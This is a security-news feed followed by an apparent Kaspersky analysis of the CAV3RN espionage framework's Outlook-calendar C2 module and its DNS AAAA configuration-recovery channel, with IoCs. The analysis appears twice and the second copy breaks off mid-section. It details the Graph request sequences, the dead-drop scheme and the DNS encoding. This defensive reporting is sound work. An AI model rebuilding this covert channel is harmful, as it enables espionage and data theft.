Because exploitation requires no authentication, no user interaction, and no external gadget library, exposed applications running affected configurations should be treated as high-priority remediation targets. Imperva customers remain protected while organizations identify vulnerable deployments, enable SafeMode, and migrate away from FastJson 1.x.
The post Imperva Customers Protected Against CVE-2026-16723: Critical FastJson 1.x Zero-Day RCE appeared first on Blog.
Unit 42 details a Russian cyberespionage campaign targeting Zimbra webmail servers using JavaScript injection to steal credentials.
The post Russian Global Webmail Espionage appeared first on Unit 42.
Key Takeaways Microsoft continues to be the single most impersonated brand in Q2 2026, appearing in 23% of all brand phishing attempts, far ahead of any other company The top five impersonated brands, Microsoft, LinkedIn, Google, Apple, and Amazon, together account for more than half of all brand phishing attempts tracked this quarter Open AI’s ChatGPT entered the top ten most impersonated brands for the first time, signaling that AI tools are now firmly on criminals’ radar Technology was the most targeted industry overall, followed by Social Networks and Banking Real world cases this quarter ranged from fake payment failure […]
The post Which Brands Are Impersonated Most? Inside the Q2 2026 Brand Phishing Report appeared first on Check Point Blog.
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
Module network communication architecture
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
Project CAV3RN architecture (April 2026)
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
get_;;_<agent-id>_,_<legacy-url> send_;;_<agent-id>_,_<legacy-url>_,_<result>
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token client_id=<ClientId> client_secret=<ClientSecret> scope=https://graph.microsoft.com/.default grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
| Subject format | Purpose | Module behavior |
| Event ID: <agent-id> | Operator-to-agent command | Searches for the event, downloads its attachments, and deletes it after consumption |
| Boss update ID: <agent-id>1500 | Agent heartbeat | Deletes the previous heartbeat event and creates a replacement |
| Boss Report ID: <agent-id>1500 | Agent-to-operator command output | Creates an event, uploads encrypted result attachments, and assigns the final subject |
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId> Authorization: Bearer <access-token>
Our analysis found a consistent difference in capitalization between command and result attachments:
| Attachment name | Direction | Associated subject |
| file0.txt | Operator to agent | Event ID: <agent-id> |
| File0.txt | Agent to operator | Boss Report ID: <agent-id>1500 |
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
Encrypted attachment stored in a calendar event
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
Decrypted command
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView DELETE /v1.0/users/***@*********.co.il/events/<EventId> POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>
{
"subject": "Boss update ID: <agent-id>1500"
}Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the module’s operational workflow.
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
DNS-based configuration recovery (simplified)
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
| Index | Configuration value |
| 0 | TenantId |
| 1 | ClientId |
| 2 | ClientSecret |
| 3 | UserEmail |
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
IPv6 AAAA record payload layout for obtaining length
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Field length encoding in DNS AAAA record responses (example)
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
TenantId retrieval process via DNS AAAA records (example)
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
| Domain | IP | First seen | ASN | Hosting |
| ns1.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns2.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns3.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns4.cloudlanecdn[.]com | 144.172.108[.]205 | May 21, 2026 | AS 14956 | RouterHosting LLC |
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.
The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
CAF021DDA726B8BA049C2AA395E505A1 AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806 NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678 AzureCommunication.dll
cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
Module network communication architecture
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
Project CAV3RN architecture (April 2026)
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
get_;;_<agent-id>_,_<legacy-url> send_;;_<agent-id>_,_<legacy-url>_,_<result>
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token client_id=<ClientId> client_secret=<ClientSecret> scope=https://graph.microsoft.com/.default grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
| Subject format | Purpose | Module behavior |
| Event ID: <agent-id> | Operator-to-agent command | Searches for the event, downloads its attachments, and deletes it after consumption |
| Boss update ID: <agent-id>1500 | Agent heartbeat | Deletes the previous heartbeat event and creates a replacement |
| Boss Report ID: <agent-id>1500 | Agent-to-operator command output | Creates an event, uploads encrypted result attachments, and assigns the final subject |
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId> Authorization: Bearer <access-token>
Our analysis found a consistent difference in capitalization between command and result attachments:
| Attachment name | Direction | Associated subject |
| file0.txt | Operator to agent | Event ID: <agent-id> |
| File0.txt | Agent to operator | Boss Report ID: <agent-id>1500 |
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
Encrypted attachment stored in a calendar event
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
Decrypted command
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView DELETE /v1.0/users/***@*********.co.il/events/<EventId> POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>
{
"subject": "Boss update ID: <agent-id>1500"
}Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the module’s operational workflow.
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
DNS-based configuration recovery (simplified)
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
| Index | Configuration value |
| 0 | TenantId |
| 1 | ClientId |
| 2 | ClientSecret |
| 3 | UserEmail |
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
IPv6 AAAA record payload layout for obtaining length
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Field length encoding in DNS AAAA record responses (example)
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
TenantId retrieval process via DNS AAAA records (example)
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
| Domain | IP | First seen | ASN | Hosting |
| ns1.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns2.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns3.cloudlanecdn[.]com | 216.126.237[.]197 144.172.108[.]205 |
May 2, 2026 | AS 14956 | RouterHosting LLC |
| ns4.cloudlanecdn[.]com | 144.172.108[.]205 | May 21, 2026 | AS 14956 | RouterHosting LLC |
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.
The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
